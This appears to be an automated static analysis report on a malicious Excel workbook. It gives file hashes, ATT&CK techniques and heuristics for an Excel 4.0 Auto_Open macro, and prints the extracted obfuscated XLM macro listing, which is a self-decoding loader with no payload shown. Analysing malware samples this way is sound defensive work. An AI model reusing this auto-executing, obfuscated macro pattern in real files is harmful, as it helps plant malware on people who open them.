Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1e609f060c2066ce…

MALICIOUS

Office (OLE)

35.5 KB Created: 2020-11-25 10:40:12 Authoring application: Microsoft Excel First seen: 2021-08-20
MD5: 38978163e292c784b6dbc97c6de642f3 SHA-1: 5b22133a9d225d031d6edeef5cfad8bc10bce44d SHA-256: 1e609f060c2066ced69bb41291bfc7c6e889db425ece59e5eeb463179ff38ec4
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 macros, specifically an Auto_Open function, which is a critical finding indicating potential malicious execution. The presence of dangerous formula APIs like RUN further supports this. While the exact payload is not discernible from the provided evidence, the Auto_Open macro is designed to execute code upon opening the workbook.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6380 bytes
SHA-256: 1e0a01e5dc1057df9fade9a581b3cd233b0e3ca166197aae6875904280a1c7c6
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  tCNK
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!C189 
' 0018     20 LABEL : Cell Value, String Constant - dfHcl len=0 
' 0018     26 LABEL : Cell Value, String Constant - fHPLwtJdlsX len=0 
' 0018     20 LABEL : Cell Value, String Constant - FljRe len=0 
' 0018     26 LABEL : Cell Value, String Constant - GUaAtDUrRqv len=0 
' 0018     26 LABEL : Cell Value, String Constant - GWpYMErJQch len=0 
' 0018     23 LABEL : Cell Value, String Constant - IrljRkFk len=0 
' 0018     20 LABEL : Cell Value, String Constant - KfKOA len=0 
' 0018     20 LABEL : Cell Value, String Constant - KSFSj len=0 
' 0018     23 LABEL : Cell Value, String Constant - kxWLqLJT len=0 
' 0018     27 LABEL : Cell Value, String Constant - OIyhFQJGiEjZ len=0 
' 0018     22 LABEL : Cell Value, String Constant - PmFtWWG len=0 
' 0018     27 LABEL : Cell Value, String Constant - QJqZknNCmZjr len=0 
' 0018     24 LABEL : Cell Value, String Constant - qwBUiKWvn len=0 
' 0018     20 LABEL : Cell Value, String Constant - RPrSz len=0 
' 0018     22 LABEL : Cell Value, String Constant - rQtHASr len=0 
' 0018     22 LABEL : Cell Value, String Constant - RsFoSMQ len=0 
' 0018     26 LABEL : Cell Value, String Constant - SXtOlRIRrCQ len=0 
' 0018     22 LABEL : Cell Value, String Constant - UbOfUkv len=0 
' 0018     27 LABEL : Cell Value, String Constant - vJkCVAUfABdS len=0 
' 0018     21 LABEL : Cell Value, String Constant - xRDOoX len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  tCNK,C95,"SET.NAME("KSFSj",VALUE("0"))",""
'  tCNK,C100,"SET.NAME("fHPLwtJdlsX",KSFSj)",""
'  tCNK,C102,"SET.NAME("KfKOA",KSFSj)",""
'  tCNK,C107,"SET.NAME("IrljRkFk",COUNTA(dfHcl))",""
'  tCNK,C109,"SET.NAME("OIyhFQJGiEjZ",COUNTA(FljRe))",""
'  tCNK,C114,[],""
'  tCNK,C117,"SET.NAME("rQtHASr","")",""
'  tCNK,C120,"fHPLwtJdlsX",""
'  tCNK,C125,"SET.NAME("GWpYMErJQch",HLOOKUP("*",dfHcl,fHPLwtJdlsX,FALSE))",""
'  tCNK,C128,"UbOfUkv",""
'  tCNK,C130,"SET.NAME("vJkCVAUfABdS",KSFSj)",""
'  tCNK,C135,[],""
'  tCNK,C140,"vJkCVAUfABdS",""
'  tCNK,C143,"GUaAtDUrRqv",""
'  tCNK,C146,"RsFoSMQ",""
'  tCNK,C151,"qwBUiKWvn",""
'  tCNK,C154,"SET.NAME("SXtOlRIRrCQ",VALUE(HLOOKUP("*",FljRe,qwBUiKWvn,FALSE)))",""
'  tCNK,C158,"xRDOoX",""
'  tCNK,C161,"rQtHASr",""
'  tCNK,C166,"KfKOA",""
'  tCNK,C168,NEXT(),""
'  tCNK,C172,"RPrSz",""
'  tCNK,C175,"SET.NAME("f",INT(T(FORMULA(T(rQtHASr)&"",""&T(RPrSz)))))",""
'  tCNK,C179,"kxWLqLJT",""
'  tCNK,C181,NEXT(),""
'  tCNK,C185,RETURN(),""
'  tCNK,C212,"SET.NAME("QJqZknNCmZjr",C95)",""
'  tCNK,C214,"dfHcl",""
'  tCNK,C216,"SET.NAME("FljRe",R93C14)",""
'  tCNK,C220,"SET.NAME("kxWLqLJT",228)",""
'  tCNK,C224,"SET.NAME("PmFtWWG",3)",""
'  tCNK,C227,QJqZknNCmZjr(),""
'  tCNK,C228,HALT(),""